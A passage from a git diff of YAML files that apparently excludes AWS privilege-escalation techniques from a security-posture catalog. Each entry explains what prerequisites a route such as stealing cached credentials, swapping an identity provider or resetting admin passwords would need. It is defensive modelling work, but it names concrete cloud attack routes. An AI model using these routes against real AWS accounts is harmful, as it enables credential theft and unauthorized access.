input controls the URL and the execution role permits the request. This can expose + an API key or remote-service credential, but the route does not name another IAM principal or + grant the caller the state-machine execution role. Preserve it as a separate credential risk.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambda-durable-callback-result-injection technique: aws-v3-30-inject-a-lambda-durable-callback-result-that-triggers-a - reason: 'Inject a Lambda durable callback result that triggers a privileged workflow branch: actions lambda:SendDurableExecutionCallbackSuccess - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Candidate role-backed workflow action. A valid pending callback ID, permission on its exact + durable execution and reviewed function logic must show that attacker-supplied callback output + reaches an AWS action under the function role. A callback permission alone neither discovers an ID + nor proves that the result controls a privileged branch.' - source: src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md#local-enumeration technique: aws-v3-31-steal-a-different-user-s-cached-iam-identity-center-acc - reason: 'Steal a different user''s cached IAM Identity Center access token and exchange it for assigned role credentials: - no source permission/action is declared. The required foothold or credential possession cannot be inferred from - an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' + reason: 'Candidate local credential route. An IAM Identity Center token can obtain assigned AWS + role credentials while valid, but the page gives no AWS permission that reads another user''s + local cache. Require an observed host/file foothold, usable token, account-role assignment and + exact resulting role before adding an AWS principal edge.' - source: src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md#local-enumeration technique: aws-v3-32-reuse-another-user-s-cached-sts-role-credentials-or-sta - reason: 'Reuse another user''s cached STS role credentials or static IAM user keys from local AWS CLI files: no - source permission/action is declared. The required foothold or credential possession cannot be inferred from - an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' + reason: 'Candidate local credential route. A different user''s AWS CLI files may contain live + cached STS credentials or IAM user keys, but IAM permissions alone do not give access to that + user''s filesystem. Require observed file access, usable credential material, credential owner + and effective target permissions before an exact principal edge.' - source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#local-enumeration technique: aws-v3-33-read-aws-vpn-client-temporary-credentials-from-another - reason: 'Read AWS VPN Client temporary credentials from another user''s local profile: no source permission/action - is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and - the challenge evidence is not collected in current snapshots.' + reason: 'Candidate local credential route. AWS VPN Client may store temporary AWS credentials + for its metrics role in a local file, but the page gives no AWS permission to read another + user''s profile. Require observed host/file access, valid credentials and a verified resulting + role whose authority exceeds the source before adding an edge.' - source: src/pentesting-cloud/aws-security/aws-services/aws-resource-groups-tagging-api-enum.md#bulk-tagging-and-tag-sync-boundaries technique: aws-v3-34-change-an-authorization-tag-to-satisfy-a-tag-conditione - reason: 'Change an authorization tag to satisfy a tag-conditioned policy and gain higher permissions: actions - tag:TagResources are stated, but the aws_verified_authority target does not identify an exact principal or encode - a verified new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Candidate exact ABAC authority change. TagResources also requires the target service''s + native tagging action; a usable route needs both permissions on the exact resource, a policy + condition that grants a specific new AWS action for the chosen tag value, and no explicit deny. + TagResources alone is not an authorization bypass or a principal transition.' - source: src/pentesting-cloud/aws-security/aws-services/aws-devops-agent-enum.md#inventory-private-connectivity technique: aws-v3-35-use-a-compromised-devops-agent-integration-endpoint-as - reason: 'Use a compromised DevOps Agent integration endpoint as a credential relay or malicious tool-response - channel: no source permission/action is declared. The required foothold or credential possession cannot be inferred - from an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' + reason: 'Candidate only with a demonstrated compromised endpoint and exact DevOps Agent tool + path that forwards AWS credentials or causes a privileged AWS action under a named agent role. + Service metadata and endpoint inventory alone do not prove that the source controls the endpoint + or that an agent follows a malicious response.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimecreateappinstanceuser--chimecreateappinstanceadmin historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chimecreateappinstanceuser--chimecreateappinstanceadmin source_revision: 3ad99dc7ac technique: aws-v3-36-chime-createappinstanceuser-admin - reason: 'Chime CreateAppInstanceUser/Admin: actions chime:CreateAppInstanceUser, chime:CreateAppInstanceAdmin - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'A Chime AppInstance user or bot can be promoted to messaging administrator, but this + service identity is not another IAM principal. Chime still checks the calling AWS session''s + IAM permissions for each messaging action, so the promotion alone creates no AWS role edge.' - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#dismantling-scp-guardrails--organizationsdetachpolicy-updatepolicy-disablepolicytype-moveaccount technique: aws-v3-37-scp-guardrail-removal reason: 'SCP guardrail removal: actions organizations:DetachPolicy are stated, but the aws_verified_authority @@ -894,14 +963,16 @@ unresolved pending reviewed challenge evidence.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamcreateuser--batchassociateuserstack--regional-user-pool-foothold technique: aws-v3-39-appstream-user-pool-stack-login - reason: 'AppStream user-pool stack login: actions appstream:CreateUser, appstream:BatchAssociateUserStack are - stated, but the role edge still relies on an uncollected challenge fact and does not establish a concrete usable - target role from current evidence.' + reason: 'Candidate conditional fleet-role path. CreateUser and BatchAssociateUserStack give a + service-local portal login after the email/password flow; an AWS role edge additionally needs + an assigned usable stack, application or desktop command execution, and a fleet with an + IAM machine role whose credentials are accessible from that session.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-omni-persistence/README.md#cloudwatchcreateaccessgrant--install-a-space-admin-principal technique: aws-v3-40-cloudwatch-omni-space-admin - reason: 'CloudWatch Omni Space Admin: actions cloudwatch:CreateAccessGrant are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'Candidate exact grant to a named IAM principal. CreateAccessGrant can give that user + or role SPACE_ADMIN in one Omni space, but the source needs proven control of that principal + and the target still needs valid authentication, IAM authorization and the space operator + role. The grant does not create credentials or make a role assumable.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-elasticache-persistence/README.md#elasticachemodifyuser--hijack-or-widen-an-existing-rbac-user technique: aws-v3-41-elasticache-attached-rbac-user-takeover reason: 'ElastiCache attached RBAC user takeover: actions elasticache:ModifyUser are stated, but the aws_verified_authority @@ -924,68 +995,79 @@ unresolved pending reviewed challenge evidence.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-chime-sdk-persistence/README.md#add-an-attacker-controlled-messaging-identity technique: aws-v3-45-chime-sdk-admin-persistence - reason: 'Chime SDK admin persistence: actions chime:CreateAppInstanceAdmin are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'CreateAppInstanceAdmin can grant a controlled Chime user or bot persistent messaging + admin status. It does not grant that identity AWS IAM permissions; later calls still require + the caller''s own authorized AWS session. This duplicates the bounded service identity risk + reviewed under aws-v3-36 rather than an IAM principal transition.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#set-lifecycle-configuration-on-sagemaker-studio technique: aws-v3-46-sagemaker-domain-lifecycle - reason: 'SageMaker domain lifecycle: actions sagemaker:UpdateDomain are stated, but the role edge still relies - on an uncollected challenge fact and does not establish a concrete usable target role from current evidence.' + reason: 'Candidate domain-level Studio lifecycle route. The active catalog models the narrower + user-profile update as aws-sagemaker-attach-studio-lifecycle-config-user-profile. A domain + default needs an exact target profile or space, compatible controlled lifecycle config, + effective UpdateDomain permission and later app start before naming the execution role.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-connect-persistence/README.md#create-a-durable-connect-administrator technique: aws-v3-47-connect-createuser - reason: 'Connect CreateUser: actions connect:CreateUser are stated, but the aws_verified_authority target does - not identify an exact principal or encode a verified new effective permission. The entry is explicitly unresolved - pending reviewed challenge evidence.' + reason: 'CreateUser can create a Connect-managed administrator login when the exact instance, + Admin security profile and routing profile are authorized. The login controls the contact + center, but it does not create AWS IAM credentials or grant another AWS principal authority. + SAML mode has additional federation prerequisites rather than an automatic role session.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshift-serverlessupdatenamespace---reset-the-serverless-database-administrator technique: aws-v3-48-redshift-serverless-admin-reset - reason: 'Redshift Serverless ADMIN reset: actions redshift-serverless:UpdateNamespace are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'UpdateNamespace can reset a Redshift Serverless database administrator password. + The resulting SQL login is a database identity, not an IAM user or role, and the page + identifies no AWS principal credential acquired by the source.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-healthlake-persistence/README.md#take-over-smart-on-fhir-authorization technique: aws-v3-49-healthlake-smart-authorizer - reason: 'HealthLake SMART authorizer: actions healthlake:UpdateFHIRDatastore are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'Candidate bounded role-backed FHIR action. A modified SMART authorizer can return a + role ARN for HealthLake to assume, but exact authority needs the datastore, controlled token + validator, trusted role with FHIR permissions, Lambda invoke policy and accepted bearer token. + The caller does not receive general credentials for the returned role.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-odb-persistence/README.md#retain-oracle-admin-access-with-a-known-password technique: aws-v3-50-oracle-autonomous-database-admin - reason: 'Oracle Autonomous Database ADMIN: actions odb:UpdateAutonomousDatabase are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'UpdateAutonomousDatabase can set a known Oracle ADMIN password. That credential + controls the private database when reachable, but it does not grant AWS IAM or OCI tenancy + permissions and identifies no second AWS principal.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-firewall-manager-persistence/README.md#retaining-the-fms-administrator-role technique: aws-v3-51-firewall-manager-delegate - reason: 'Firewall Manager delegate: actions fms:PutAdminAccount are stated, but the aws_verified_authority target - does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'Candidate cross-account service authority. FMS admin designation names an AWS + account, not a particular IAM principal. An exact edge needs a controlled identity in that + member account, effective FMS policy permissions, valid organization prerequisites and the + resulting admin designation; it does not confer general IAM administration.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-network-security-manager-persistence/README.md#network-security-managerputadminaccount--retain-delegated-network-security-administration technique: aws-v3-52-network-security-manager-delegate - reason: 'Network Security Manager delegate: actions network-security-manager:PutAdminAccount are stated, but the - aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. - The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Candidate cross-account service authority. PutAdminAccount designates a member + account rather than an IAM principal. An exact source-to-principal edge needs a controlled + identity there with effective Network Security Manager actions, organization all-features + and trusted-access prerequisites, and a scope that covers the intended resources.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-timestream-persistence/README.md#timestream-for-influxdb-plant-a-native-api-token technique: aws-v3-53-influxdb-admin-credentials - reason: 'InfluxDB admin credentials: actions secretsmanager:GetSecretValue are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'GetDbInstance and GetSecretValue can expose the InfluxDB engine administrator + credential, from which a native database token can be planted. Neither the password nor + token is an IAM credential or another AWS principal; its impact is limited to the + reachable InfluxDB service.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md#download-instance-ssh-keys--db-passwords technique: aws-v3-54-lightsail-db-master-password - reason: 'Lightsail DB master password: actions lightsail:GetRelationalDatabaseMasterUserPassword are stated, but - the aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. - The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'GetRelationalDatabaseMasterUserPassword returns a database password, not IAM + credentials. Lightsail instance SSH keys can offer a separate host foothold, but the + page does not identify an instance IAM role, usable metadata credential or exact + principal transition from that host.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-opensearch-access-policy-persistence/README.md#esupdatedomainconfig--domain-access-policy-takeover technique: aws-v3-55-opensearch-domain-policy - reason: 'OpenSearch domain policy: actions es:UpdateDomainConfig are stated, but the aws_verified_authority target - does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'Candidate exact resource-policy authority change. UpdateDomainConfig can name an + attacker-controlled IAM principal for ESHttp actions, but a definite edge needs control + of that principal, effective update authorization, completed configuration, reachable + endpoint and any fine-grained-access or explicit-deny limits. It does not assume a role.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-marketplace-persistence/README.md#aws-marketplaceputresourcepolicy--cross-account-seller-entity-control technique: aws-v3-56-marketplace-seller-entity-policy - reason: 'Marketplace seller entity policy: actions aws-marketplace:PutResourcePolicy are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'Candidate exact cross-account entity grant. PutResourcePolicy can allow a named + external IAM principal to describe or change one seller entity, but the source must + control that principal and the external identity still needs its own applicable IAM + authorization. The grant does not give general access to the seller account.' - source: src/pentesting-cloud/aws-security/aws-services/aws-workmail-enum.md#exact-impersonation-to-mailbox-chain technique: aws-v3-57-workmail-impersonation-role - reason: 'WorkMail impersonation role: actions workmail:AssumeImpersonationRole are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'AssumeImpersonationRole returns a short-lived WorkMail EWS bearer token for + permitted mailboxes. The WorkMail impersonation role is not an IAM role and its token + cannot call AWS APIs as the mailbox user or another AWS principal.' - source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/organizations-and-central-account-pivots.md#scp-and-rcp-gaps technique: aws-v3-58-leaveorganization-scp-escape reason: 'LeaveOrganization SCP escape: actions organizations:LeaveOrganization are stated, but the aws_verified_authority @@ -1016,9 +1098,10 @@ cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-devops-agent-post-exploitation/README.md#disable-and-re-enable-the-operator-app-with-an-attacker-idp technique: aws-v3-64-devops-agent-operator-app-idp-swap - reason: 'DevOps Agent operator app IdP swap: actions aidevops:DisableOperatorApp, aidevops:EnableOperatorApp, - iam:PassRole are stated, but the aws_verified_authority target does not identify an exact principal or encode - a verified new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Candidate bounded operator-role path. DisableOperatorApp and EnableOperatorApp can + install an attacker IdP and pass an exact trusted operator role. An edge requires both + app actions, effective PassRole, compatible role trust, accepted attacker authentication + and proof of the operator actions reachable through that role; no raw STS key is returned.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#policy-and-permission-boundary-deletion technique: aws-v3-65-remove-own-explicit-deny reason: 'Remove own explicit Deny: actions iam:DeleteUserPolicy are stated, but the aws_verified_authority target @@ -1026,31 +1109,33 @@ unresolved pending reviewed challenge evidence.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-evs-post-exploitation/README.md#recover-evs-managed-vcf-and-esx-credentials technique: aws-v3-66-evs-vmware-admin-secret - reason: 'EVS VMware admin secret: actions evs:GetEnvironment, secretsmanager:GetSecretValue are stated, but the - aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. - The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'EVS environment secrets can contain VMware vCenter, NSX, SDDC Manager or ESX + administrator credentials. Those are VMware control-plane identities, not AWS IAM + credentials; reading the secret does not identify another AWS principal.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-evs-post-exploitation/README.md#recover-connector-credentials-for-an-existing-vcf-appliance technique: aws-v3-67-evs-connector-secret - reason: 'EVS connector secret: actions evs:GetEnvironment, secretsmanager:GetSecretValue are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'EVS connector secrets contain credentials for an existing VCF appliance. + The account authenticates to VMware, not AWS IAM, so the secret read does not + give the source an exact second AWS principal.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#organizationsdescribeorganization--fmsassociateadminaccount-fmsdisassociateadminaccount-fmsputadminaccount technique: aws-v3-68-firewall-manager-admin-action - reason: 'Firewall Manager admin action: actions fms:AssociateAdminAccount are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'Candidate duplicate of aws-v3-51-firewall-manager-delegate. AssociateAdminAccount + changes the designated FMS administrator account, not a specific IAM principal. An exact + source-to-principal route needs a controlled identity in that account with usable FMS + permissions and verified organization/admin prerequisites.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#elasticachemodifyreplicationgroup--add-an-attacker-known-legacy-auth-token technique: aws-v3-69-elasticache-legacy-auth-rotation - reason: 'ElastiCache legacy AUTH rotation: actions elasticache:ModifyReplicationGroup are stated, but the aws_verified_authority - target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'ModifyReplicationGroup can add a known legacy cache AUTH token where that mode + is enabled. The token authenticates to Valkey or Redis data, not to AWS IAM, and + gives no credentials for another AWS principal.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2disabledelegatedadminaccount-inspector2enabledelegatedadminaccount--organizationslistdelegatedadministrators--organizationsenableawsserviceaccess--iamcreateservicelinkedrole technique: aws-v3-70-inspector-delegated-administrator - reason: 'Inspector delegated administrator: actions inspector2:EnableDelegatedAdminAccount are stated, but the - aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. - The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Candidate cross-account Inspector authority. EnableDelegatedAdminAccount names + a member account, not an IAM principal. An exact edge needs management-account + authorization, organization all-features and incumbent-admin handling, plus a controlled + identity in the chosen account with effective Inspector management actions.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#sending-paths--telemetry-gaps technique: aws-v3-71-workmail-resetpassword - reason: 'WorkMail ResetPassword: actions workmail:ResetPassword are stated, but the aws_verified_authority target - does not identify an exact principal or encode a verified new effective permission. The entry is explicitly - unresolved pending reviewed challenge evidence.' + reason: 'ResetPassword can give the caller a WorkMail mailbox login. The mailbox is an + application identity, not an IAM user or role, and the password does not authorize + AWS API calls as another principal.' diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml index ee61585c4d..7c4a61150f 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml @@ -9,7 +9,11 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#periodic-ecs-task-through-eventbridge source_revision: b587e6bd26 technique: Schedule attacker-controlled ECS code under a task role - reason: PutRule/PutTargets and PassRole can schedule a task, but the source is not proved to - control code in the selected task definition or obtain its task-role credentials; the generic - challenge fact has no typed execution/target contract. + reason: 'A scheduled ECS target can run with a task role, but the selected task definition + must contain attacker-controlled code and name the exact task role. The EventBridge invocation + role must trust EventBridge and allow ecs:RunTask for that task definition and iam:PassRole for + the task role; the caller must be allowed to attach that invocation role to the target. A + role-less task definition, such as the source example, supplies no task-role escalation. + The current generic challenge fact records none of these target-to-role joins or execution + conditions, so a permission-only path would be a false positive.' prior_id: aws-ecs-eventbridge-scheduled-task-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml index d1660718ad..155e3e766d 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml @@ -3,7 +3,11 @@ source_revision: 4d874afe90 technique: Deploy a malicious Greengrass component to core devices and use their token exchange role - reason: The source can deploy to a thing group, but the evaluator does not collect the thing-group/core-device - to role-alias to TES-role join. Merely trusting credentials.iot.amazonaws.com cannot identify - which target role is reached; the YAML itself admitted all trusting roles were guesses. + reason: 'The caller may create a component with executable lifecycle code and deploy it to + a permitted thing or thing group; a group target also needs iot:DescribeThingGroup. A role + edge requires a specific connected core device that receives and runs the component, its + nucleus iotRoleAlias setting, an IoT policy permitting that alias, the alias target IAM role + and a usable token exchange service on the device. The evaluator collects none of the exact + deployment-to-device-to-alias-to-role joins. Trust in credentials.iot.amazonaws.com alone + identifies neither the device nor its role, so a permission-only edge would be speculative.' prior_id: aws-greengrass-createcomponentversion-createdeployment-tes-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml new file mode 100644 index 0000000000..694c2ba3dc --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml @@ -0,0 +1,9 @@ +# Organizations policy changes require an exact source-to-member effective-authority join. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizations-scp-guardrail-change + source_revision: b13a72b45f + technique: Remove an SCP guardrail for a controlled member principal + reason: DetachPolicy, UpdatePolicy, DisablePolicyType or MoveAccount can alter member-account ceilings, but the management caller does not gain its own permission from an SCP change. A definite edge requires a controlled member principal, exact account and inherited SCP path, prior blocked action, identity allow, removal of the effective block and no remaining deny or boundary. Current inventory does not join before-and-after effective permission across those principals. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizations-putresourcepolicy-delegation + source_revision: b13a72b45f + technique: Delegate Organizations policy actions to a controlled member principal + reason: PutResourcePolicy can permit a member account to manage supported Organizations policies, but a usable gain requires an exact controlled member principal, accepted delegation policy and resource, matching identity permission and absence of denies. The policy writer's management-account permission is not itself a new member-principal capability. Current inventory does not join the two principals or prove a specific before-and-after authorized action. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_quicksight_role_session_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_quicksight_role_session_20261022.yaml new file mode 100644 index 0000000000..f317f7f43a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_quicksight_role_session_20261022.yaml @@ -0,0 +1,5 @@ +# IAM-role registration needs a session-bound user identity and resource name. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightregisteruser--map-a-controlled-iam-identity-to-an-admin + source_revision: 171e422299 + technique: Register a controlled IAM role session as a QuickSight administrator + reason: RegisterUser accepts an IAM role only with a SessionName, and its QuickSight username and authorization ARN must match that chosen session identity. A role policy alone does not record the active session name or prove the source controls the registered session. Model this separately from IAM-user self-registration once the session-to-QuickSight-user join is established. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml index 96769cb8dc..707495e668 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml @@ -144,7 +144,7 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#the-pattern technique: " Start*/Create* job, iam:PassRole" - reason: "Data-access confused deputy (read/write S3 as the passed role); no credentials or code execution as the role. Code-executing services on the table are modelled (PCS, FinSpace) or have dedicated pages." + reason: "Data-access confused deputy (read/write S3 as the passed role); no credentials or code execution as the role. Code-executing services have dedicated pages; Amazon FinSpace Managed kdb is discontinued." source_revision: 171e422299 - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#relational-database-rds diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml index 0ddb00ebaf..bd7da3da09 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g5.yaml @@ -94,5 +94,5 @@ source_revision: 171e422299 - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsyncupdatedatasource--appsyncupdateresolver--iampassrole technique: appsync:UpdateDataSource + appsync:UpdateResolver + iam:PassRole - reason: Duplicate primitive; covered by aws-appsync-passrole-datasource-sigv4 (third any_of group, existing data source). + reason: The self-contained new-API route is represented by aws-appsync-passrole-new-api-sigv4. This existing-API variant still needs a recorded callable field, resolver/data-source binding and authorization to invoke it before a passed role can be reached. source_revision: '171e422299' diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml index 691eb7a0a0..22c7ea447b 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g6.yaml @@ -6,8 +6,7 @@ source_revision: 171e422299 - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#select-an-identity-pool-role-through-editable-claims technique: Identity-pool rule-based role mapping on user-editable claims - reason: 'Needs no IAM permission: an end user edits its own token claims through user-pool self-service APIs. A role-mapping misconfiguration (Exposure check), not a permission-based edge from an IAM - source principal.' + reason: 'Needs no IAM permission: an end user edits its own token claims through user-pool self-service APIs. A writable claim can select an identity-pool IAM role when a matching rule exists, but this is not an edge originating from an IAM principal. Assess the app client write permissions and identity-pool role mapping together.' source_revision: 171e422299 - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#cognito technique: Section introduction @@ -15,7 +14,7 @@ source_revision: 171e422299 - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#custom-attribute-privesc technique: Self-service update of a mutable custom attribute - reason: Application-level privilege change for app users (token-authorized, no IAM permission); AWS-role impact only through claim-based role mapping, covered by the editable-claims exclusion. + reason: Token-authorized change by an app user, with no IAM source permission. Application privilege changes depend on the app; an AWS role additionally needs a matching identity-pool claim rule, covered by the editable-claims exclusion. source_revision: 171e422299 - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-user-pools-post-exploitation/README.md#emailusername-modification-privesc historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#emailusername-modification-privesc @@ -65,7 +64,7 @@ source_revision: 171e422299 - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-opensearch-serverless-privesc/README.md#aosscreateaccesspolicy technique: aoss:CreateAccessPolicy / UpdateAccessPolicy - reason: Self-grant of collection data access through an additive data access policy; data access within the service, no other principal's privileges (Least Privilege finding). + reason: Conditional self-grant of collection data access through an additive policy. Queries still require aoss:APIAccessAll on each collection and allowed network access; this is service data access, not another IAM principal's credentials or general IAM permissions. source_revision: 171e422299 - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptography technique: Section introduction diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml index 539baec04d..9dc734f5a6 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_credential_overclaim_20261016.yaml @@ -1,8 +1,9 @@ # Credential claims without an exact full principal or permission target. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatchgetspacecredentialsfororganization--obtain-member-account-space-credentials technique: aws-cloudwatch-omni-getspacecredentialsfororganization - reason: The returned operator credentials are restricted to one CloudWatch Omni space and do not expose the full - target IAM role permissions; the edge overclaims a role takeover. + reason: The response returns space-scoped credentials but does not name the vended IAM principal. The configured + dataAccessRoleArn is the operator-role ceiling for space operations, not proof that the caller receives all of + that role's IAM permissions. A concrete edge needs a successful session identity and exact effective authority. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#getenvironmentcredentials-as-a-custom-environment-role technique: aws-datazone-getenvironmentcredentials reason: DataZone vends a session explicitly narrower than the associated IAM role (role chaining removed), while diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml index 09a462ac05..39fee8ef8c 100644 --- 